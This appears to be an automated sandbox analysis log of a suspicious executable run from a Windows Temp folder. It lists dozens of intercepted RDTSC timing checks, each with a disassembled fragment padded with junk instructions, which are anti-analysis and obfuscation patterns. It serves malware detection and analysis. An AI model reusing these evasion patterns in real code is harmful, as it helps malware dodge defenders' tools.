Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A00321 second address: 4A00325 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A00325 second address: 4A0035E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ret 0x00000009 nop 0x0000000a push eax 0x0000000b call 00007FE5D9D46D3Dh 0x00000010 mov edi, edi 0x00000012 jmp 00007FE5D53969F4h 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FE5D53969F7h 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A0035E second address: 4A0037C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 mov al, bl 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov ebx, 6AFD130Eh 0x00000012 mov ebx, 73FB521Ah 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c push edi 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B0062 second address: 49B0075 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B0075 second address: 49B00C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushfd 0x00000010 jmp 00007FE5D4EEBCC8h 0x00000015 add eax, 43085C18h 0x0000001b jmp 00007FE5D4EEBCBBh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B00C4 second address: 49B00CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B00CA second address: 49B00F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE5D4EEBCC5h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B00F3 second address: 49B0127 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE5D53969F7h 0x00000008 pop esi 0x00000009 push edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 push edx 0x00000012 mov edi, esi 0x00000014 pop ecx 0x00000015 movsx edi, si 0x00000018 popad 0x00000019 and esp, FFFFFFF8h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B0127 second address: 49B0144 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B0144 second address: 49B0193 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE5D53969F7h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FE5D53969F2h 0x00000011 mov dword ptr [esp], ecx 0x00000014 jmp 00007FE5D53969F0h 0x00000019 xchg eax, ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov ebx, 6C70EC70h 0x00000022 mov ah, dh 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B0193 second address: 49B01BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ax, bx 0x0000000e push eax 0x0000000f push edx 0x00000010 call 00007FE5D4EEBCC1h 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B01BB second address: 49B01C9 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B01C9 second address: 49B01CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B01CF second address: 49B01D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B01D5 second address: 49B0203 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+10h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FE5D4EEBCBEh 0x00000014 xor cl, 00000078h 0x00000017 jmp 00007FE5D4EEBCBBh 0x0000001c popfd 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B0203 second address: 49B0208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B0208 second address: 49B022C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 212090A8h 0x00000008 mov eax, ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE5D4EEBCC2h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B022C second address: 49B023B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B023B second address: 49B029A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c jmp 00007FE5D4EEBCBEh 0x00000011 mov esi, dword ptr [ebp+08h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FE5D4EEBCBDh 0x0000001d add esi, 63B88786h 0x00000023 jmp 00007FE5D4EEBCC1h 0x00000028 popfd 0x00000029 mov si, 4137h 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B029A second address: 49B02E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b push eax 0x0000000c mov di, 86BEh 0x00000010 pop edx 0x00000011 call 00007FE5D53969F4h 0x00000016 movzx ecx, dx 0x00000019 pop edi 0x0000001a popad 0x0000001b push eax 0x0000001c jmp 00007FE5D53969EDh 0x00000021 xchg eax, edi 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B02E1 second address: 49B02F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCBFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B02F4 second address: 49B0384 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007FE5D53969EEh 0x00000010 je 00007FE647904CDAh 0x00000016 pushad 0x00000017 push esi 0x00000018 movsx edx, cx 0x0000001b pop ecx 0x0000001c pushfd 0x0000001d jmp 00007FE5D53969EFh 0x00000022 and ch, 0000003Eh 0x00000025 jmp 00007FE5D53969F9h 0x0000002a popfd 0x0000002b popad 0x0000002c cmp dword ptr [esi+08h], DDEEDDEEh 0x00000033 jmp 00007FE5D53969EEh 0x00000038 je 00007FE647904CA1h 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007FE5D53969EAh 0x00000047 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B0384 second address: 49B038A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B038A second address: 49B0390 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B0390 second address: 49B0445 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [esi+44h] 0x0000000e pushad 0x0000000f call 00007FE5D4EEBCBEh 0x00000014 pushfd 0x00000015 jmp 00007FE5D4EEBCC2h 0x0000001a jmp 00007FE5D4EEBCC5h 0x0000001f popfd 0x00000020 pop eax 0x00000021 pushfd 0x00000022 jmp 00007FE5D4EEBCC1h 0x00000027 adc ah, 00000046h 0x0000002a jmp 00007FE5D4EEBCC1h 0x0000002f popfd 0x00000030 popad 0x00000031 or edx, dword ptr [ebp+0Ch] 0x00000034 pushad 0x00000035 jmp 00007FE5D4EEBCBCh 0x0000003a mov edx, ecx 0x0000003c popad 0x0000003d test edx, 61000000h 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FE5D4EEBCC6h 0x0000004c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B0445 second address: 49B0449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B0449 second address: 49B044F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B044F second address: 49B0485 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE5D53969ECh 0x00000008 pop ecx 0x00000009 mov si, dx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jne 00007FE647904C09h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FE5D53969F8h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A088F second address: 49A0893 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0893 second address: 49A0899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0899 second address: 49A0916 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 mov eax, 3BAB3D55h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007FE5D4EEBCC0h 0x00000013 mov ebp, esp 0x00000015 jmp 00007FE5D4EEBCC0h 0x0000001a and esp, FFFFFFF8h 0x0000001d jmp 00007FE5D4EEBCC0h 0x00000022 xchg eax, ebx 0x00000023 pushad 0x00000024 pushad 0x00000025 mov esi, 074A9FA3h 0x0000002a movzx ecx, dx 0x0000002d popad 0x0000002e push eax 0x0000002f push edx 0x00000030 pushfd 0x00000031 jmp 00007FE5D4EEBCBBh 0x00000036 sub esi, 2236E6CEh 0x0000003c jmp 00007FE5D4EEBCC9h 0x00000041 popfd 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0916 second address: 49A0966 instructions: 0x00000000 rdtsc 0x00000002 mov ah, 28h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FE5D53969EAh 0x0000000d xchg eax, ebx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FE5D53969EEh 0x00000015 adc cl, 00000078h 0x00000018 jmp 00007FE5D53969EBh 0x0000001d popfd 0x0000001e pushad 0x0000001f mov esi, 7E8DD945h 0x00000024 mov ah, C4h 0x00000026 popad 0x00000027 popad 0x00000028 push esi 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c mov cx, dx 0x0000002f call 00007FE5D53969EBh 0x00000034 pop ecx 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0966 second address: 49A098C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, bl 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE5D4EEBCC9h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A098C second address: 49A09CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d mov al, EAh 0x0000000f mov dx, EADCh 0x00000013 popad 0x00000014 mov ebx, 00000000h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FE5D53969F7h 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A09CA second address: 49A09F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE5D4EEBCBDh 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A09F8 second address: 49A0A18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FE64790C367h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0A18 second address: 49A0A1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0A1C second address: 49A0A64 instructions: 0x00000000 rdtsc 0x00000002 call 00007FE5D53969F8h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushfd 0x0000000d jmp 00007FE5D53969F1h 0x00000012 add si, 5606h 0x00000017 jmp 00007FE5D53969F1h 0x0000001c popfd 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0A64 second address: 49A0A9F instructions: 0x00000000 rdtsc 0x00000002 mov ch, 4Dh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FE5D4EEBCC4h 0x00000017 adc ecx, 7F4F27D8h 0x0000001d jmp 00007FE5D4EEBCBBh 0x00000022 popfd 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0A9F second address: 49A0AA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0AA5 second address: 49A0AA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0AA9 second address: 49A0AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0AB9 second address: 49A0ABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0ABD second address: 49A0AD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0AD3 second address: 49A0AE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5D4EEBCBEh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0AE5 second address: 49A0B33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FE64790C29Ch 0x0000000e jmp 00007FE5D53969F7h 0x00000013 test byte ptr [76FA6968h], 00000002h 0x0000001a jmp 00007FE5D53969F6h 0x0000001f jne 00007FE64790C275h 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0B33 second address: 49A0B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0B37 second address: 49A0B54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0B54 second address: 49A0B9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c jmp 00007FE5D4EEBCBEh 0x00000011 xchg eax, ebx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushfd 0x00000016 jmp 00007FE5D4EEBCBCh 0x0000001b or si, 3618h 0x00000020 jmp 00007FE5D4EEBCBBh 0x00000025 popfd 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0B9C second address: 49A0BE7 instructions: 0x00000000 rdtsc 0x00000002 call 00007FE5D53969F8h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov bh, 17h 0x0000000c popad 0x0000000d push eax 0x0000000e jmp 00007FE5D53969EDh 0x00000013 xchg eax, ebx 0x00000014 pushad 0x00000015 pushad 0x00000016 movzx esi, dx 0x00000019 call 00007FE5D53969EBh 0x0000001e pop eax 0x0000001f popad 0x00000020 popad 0x00000021 push ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 push edx 0x00000028 pop eax 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0BE7 second address: 49A0C0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0C0C second address: 49A0C10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0C10 second address: 49A0C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0C16 second address: 49A0C40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+14h] 0x0000000b jmp 00007FE5D53969EDh 0x00000010 push dword ptr [ebp+10h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE5D53969EDh 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0C67 second address: 49A0C9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007FE5D4EEBCC0h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE5D4EEBCBAh 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0C9B second address: 49A0CAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0CAA second address: 49A0D15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esp, ebp 0x0000000b pushad 0x0000000c jmp 00007FE5D4EEBCBCh 0x00000011 call 00007FE5D4EEBCC2h 0x00000016 pushfd 0x00000017 jmp 00007FE5D4EEBCC2h 0x0000001c adc si, 4DD8h 0x00000021 jmp 00007FE5D4EEBCBBh 0x00000026 popfd 0x00000027 pop eax 0x00000028 popad 0x00000029 pop ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0D15 second address: 49A0D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0D19 second address: 49A0D1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B0D3F second address: 49B0D45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B0D45 second address: 49B0D49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B0D49 second address: 49B0D4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B0D4D second address: 49B0DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FE5D4EEBCBCh 0x00000010 xor esi, 37BB62C8h 0x00000016 jmp 00007FE5D4EEBCBBh 0x0000001b popfd 0x0000001c movzx esi, dx 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 jmp 00007FE5D4EEBCBBh 0x00000026 mov ebp, esp 0x00000028 jmp 00007FE5D4EEBCC6h 0x0000002d pop ebp 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 push ecx 0x00000032 pop ebx 0x00000033 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49B0AD6 second address: 49B0AFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE5D53969EFh 0x00000008 mov ax, 385Fh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov bx, ax 0x00000016 mov eax, 0A9E3629h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A20EBA second address: 4A20ED2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5D4EEBCC4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A20ED2 second address: 4A20EFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov edi, esi 0x0000000c movzx esi, bx 0x0000000f popad 0x00000010 mov dword ptr [esp], ebp 0x00000013 jmp 00007FE5D53969F1h 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
